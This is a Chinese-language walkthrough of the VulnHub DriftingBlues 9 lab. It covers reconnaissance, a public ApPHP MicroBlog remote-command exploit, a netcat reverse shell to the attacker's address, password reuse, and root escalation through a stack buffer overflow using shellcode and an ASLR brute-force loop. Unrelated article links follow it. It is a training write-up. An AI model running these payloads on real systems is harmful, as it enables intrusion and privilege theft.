当前位置: 首页 > news >正文

vulhub-driftingblues9缓冲区溢出攻击提权

缓冲区溢出攻击

前期准备

kali按装 checksec和gdb软件

apt install checksec
apt install gdb

如果gdb安装失败执行如下命令

apt-get update

如果提示签名问题,执行如下命令

apt-key adv --keyserver keyserver.ubuntu.com --recv-keys ED65462EC8D5E4C5

ED65462EC8D5E4C5 是更新失败是提示的秘钥

概述

1. 概念

缓冲区溢出攻击是指:

程序向内存缓冲区写入数据时,没有正确检查输入数据的大小,导致数据超过缓冲区的边界,覆盖了相邻的内存区域,从而引发程序异常,甚至执行攻击者注入的恶意代码

2. 原理

可以用一个形象比喻:

  • 缓冲区 = 水杯
  • 输入数据 = 倒水
  • 程序没检查水的多少 → 倒满之后还继续倒 → 水溢出来,把旁边的东西(内存数据)淹没
  • 如果攻击者“溢出”的数据恰好覆盖了程序的控制信息(比如函数返回地址),那么程序就会按照攻击者的意图跳转执行恶意代码。

示意图(栈溢出)

[缓冲区数据]  → 正常:AAAAA
[返回地址]    → 正常:0x401234

攻击者输入:

[缓冲区数据]  → AAAAA + 恶意Shellcode
[返回地址]    → 改成 Shellcode 的地址

3. 分类

  1. 栈溢出(Stack Overflow)
    • 目标:覆盖栈上的返回地址或函数指针
    • 最常见
  2. 堆溢出(Heap Overflow)
    • 目标:修改堆上的结构指针(如 malloc/free 链表)
  3. 格式化字符串漏洞(Format String Vulnerability)
    • 本质上也能造成内存破坏甚至代码执行
  4. 整数溢出导致的缓冲区溢出
    • 计算长度时整数越界,导致分配的缓冲区过小

4. 危害

  • 执行任意代码(典型:反弹 Shell)
  • 提权攻击
  • 信息泄露
  • 系统崩溃

5. 防御措施

代码级防御

  • 严格检查输入长度(strncpy 替代 strcpy
  • 使用安全库(strlcpy, memcpy_s
  • 边界检查

编译器/系统防御

  • 栈保护(Stack Canaries / ProPolice)
  • 地址空间布局随机化(ASLR)
  • 数据执行保护(DEP / NX bit)
  • 堆分配安全检查(Safe unlinking)

试验过程

一 环境准备

Vulnhub 靶场 DRIFTINGBLUES: 9 (FINAL)

靶机地址:https://www.vulnhub.com/entry/driftingblues-9-final,695/

kali攻击机ip:192.168.110.130

kali网络模式NAT

靶机网络模式NAT

二 信息收集

1 使用nmap进行主机发现

image-20250816102110697

2 使用nmap进行端口发现

image-20250816102223696

3 访问80端口

image-20250816102301505

查看源码:

image-20250816101559139

4 搜索漏洞

发现提示,说这个脚本由 ApPHP MicroBlog v.1.0.1 生成,搜索一下有没有相关漏洞:

searchsploit ApPHP MicroBlog

image-20250816102432373

发现有个远程命令执行。

三 漏洞利用-getshell

1 复制33070.py

把33070.py复制到kali用户主目录

image-20250816102559216

2 getshell

运行:

python2 33070.py http://192.168.110.178

image-20250816102918938

getshell成功

并且获得了数据库的用户名和密码

但是发现不能用cd切换目录

3 升级shell

使用nc把shell环境转出来

#kali运行
nc -lvnp 4444
#靶机运行
nc 192.168.110.130 4444 -e /bin/sh

image-20250816103613170

升级shell

python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

image-20250816103830921

4 登录clapton用户

image-20250816103936817

发现有 clapton 用户,和数据库中的用户一样,尝试用数据路中的密码登录一下 clapton 用户:

image-20250816104101623

成功登录到 clapton 用户,查看一下用户文件:

image-20250816104240522

提示缓冲区溢出,并且给了两个案例:

https://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html
https://samsclass.info/127/proj/lbuf1.htm

四 缓冲区溢出提权

1 导出input

先把 input 文件传输到本地,用 python2 开启一个简易 http 服务并获取 input 文件并赋权

python2 -m SimpleHTTPServer
wget http://192.168.110.178:8000/input

image-20250816104711929

2 授权

chmod +x input

image-20250816104909419

3 安全评估

检查一下有没有防护措施:

checksec --file=./input

image-20250816105004271

逐项解释

  1. RELRO(Relocation Read-Only)
    • No RELRO → 链接时没有启用 -z relro,意味着 GOT 表可写。
    • 危害:攻击者可以通过 GOT 覆写 劫持函数调用。
  2. Stack Canary
    • No canary found → 没有栈保护值。
    • 危害:栈溢出时无法检测,覆盖返回地址直接成功。
  3. NX(Non-eXecutable Stack)
    • NX disabled → 栈是可执行的。
    • 危害:攻击者注入 Shellcode 后,可以直接执行。
  4. PIE(Position Independent Executable)
    • No PIE → 程序基址固定。
    • 危害:内存地址固定,攻击者不需要绕过地址随机化(ASLR)。
  5. RPATH / RUNPATH
    • 都是 No → 没有特别的运行库搜索路径,正常。
  6. Symbols
    • 69 Symbols → 程序符号表保留较多信息(可能包含函数名),有助于逆向分析。
  7. FORTIFY
    • No → 没有启用 _FORTIFY_SOURCE,说明字符串函数(如 strcpy)没有额外的运行时检查。
    • Fortified 0 / Fortifiable 2 → 本来有 2 个函数可以加固,但没启用。

整体安全评估

  • 这个二进制(./input.elf)相当于裸奔状态
    ❌ 无 RELRO
    ❌ 无 Canary
    ❌ NX 禁用
    ❌ 无 PIE
    ❌ 无 FORTIFY

➡️ 对攻击者来说:

  • 可以 溢出覆盖返回地址
  • 可以 执行注入的 Shellcode(因为栈可执行)
  • 地址固定,payload 编写简单
  • 几乎就是 CTF/教学里专门留给你做栈溢出实验的“脆弱程序”。

4 禁用 ASLR并加载input

先禁用 ASLR,然后在 gdb 中加载二进制文件:

#你这个命令是用来**关闭 Linux 系统的地址空间布局随机化(ASLR)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
#加载input
gdb -q input

image-20250816105314120

5 计算偏移量

用 metasploit 中的 pattern_create.rb 生成数量 1000 的字符串用来计算偏移量:

cd /usr/share/metasploit-framework/tools/exploit/
./pattern_create.rb -l 1000

image-20250816105552497

将生成的字符串用命令 r 在 gdb 中运行二进制文件:

image-20250816105758339

在 0x41376641 处得到了错误,计算一下偏移量:

./pattern_offset.rb -q 0x41376641

image-20250816105855373

计算出偏移量是 171

6 靶机上运行

加载input

image-20250816114728624

确认是否可用

run $(python -c 'print "A" * 171 + "B" * 4 + "\x90" * 1000 ')

image-20250816113646680

查看 ESP 寄存器的值

x/s $esp

image-20250816114055294

用esp 寄存器的 0xbfc82310 替换 4 个 B,因为是小字节序,倒过来写,因为靶机启用了 ASLR,没有权限关闭,所以写个循环,构造 payload:

0xbfa3a830
for i in {1..10000}; do (./input $(python -c 'print("A" * 171 + "\x30\xa8\xa3\xbf" + "\x90"* 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')); donefor i in {1..10000}; do (./input $(python -c 'print("A" * 171 + "\x10\x23\xc8\xbf" + "\x90"* 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')); done

image-20250816114244792

image-20250816114309262

得到了root权限,在root根目录查看flag

image-20250816114419374

http://www.dtcms.com/a/335230.html

相关文章:

  • 写一个linux脚本,要求实现查找9010端口,如果端口存在则kill,否则不处理,返回对应的提示
  • LE AUDIO----COMMAND AND EVENT
  • ArrayList的扩容源码分析
  • colmap
  • ABB焊接机器人弧焊省气
  • windows扩展(外接)显示器位置调节
  • 狗品种识别数据集:1k+图像,6个类别,yolo标注完整
  • 利用Qwen大模型进行c++11并发库的学习,与时俱进!!!!
  • File 类的用法和 InputStream, OutputStream 的用法
  • C#高级用法:元组
  • pidgen!DecodeProdKey函数分析之iDecodedBytesMax
  • docker安装mongodb及java连接实战
  • 视频理解综述
  • 【异步】js中异步的实现方式 async await /Promise / Generator
  • 码上爬第十一题【协程+wasm】
  • 博弈论07——Lemke-Howson 算法
  • STM32-GPIO实践部分1-跑马灯实验
  • 【Java基础面试题】Java基础概念
  • 按键及消抖
  • C++ 最短路Dijkstra
  • [Python]PTA:for 求奇数分之一序列前N项和
  • 安卓开发选择题
  • CUDA 编程笔记:CUDA延迟隐藏
  • 通配符 重定向 管道符
  • Java 中重载与重写的全面解析(更新版)
  • 在浏览器端使用 xml2js 遇到的报错及解决方法
  • BM25算法和传统的TF-IDF算法的区别
  • 改进版的QGIS 的(属性查询) identify featrues 功能
  • 算法题Day2
  • 计组-间接寻址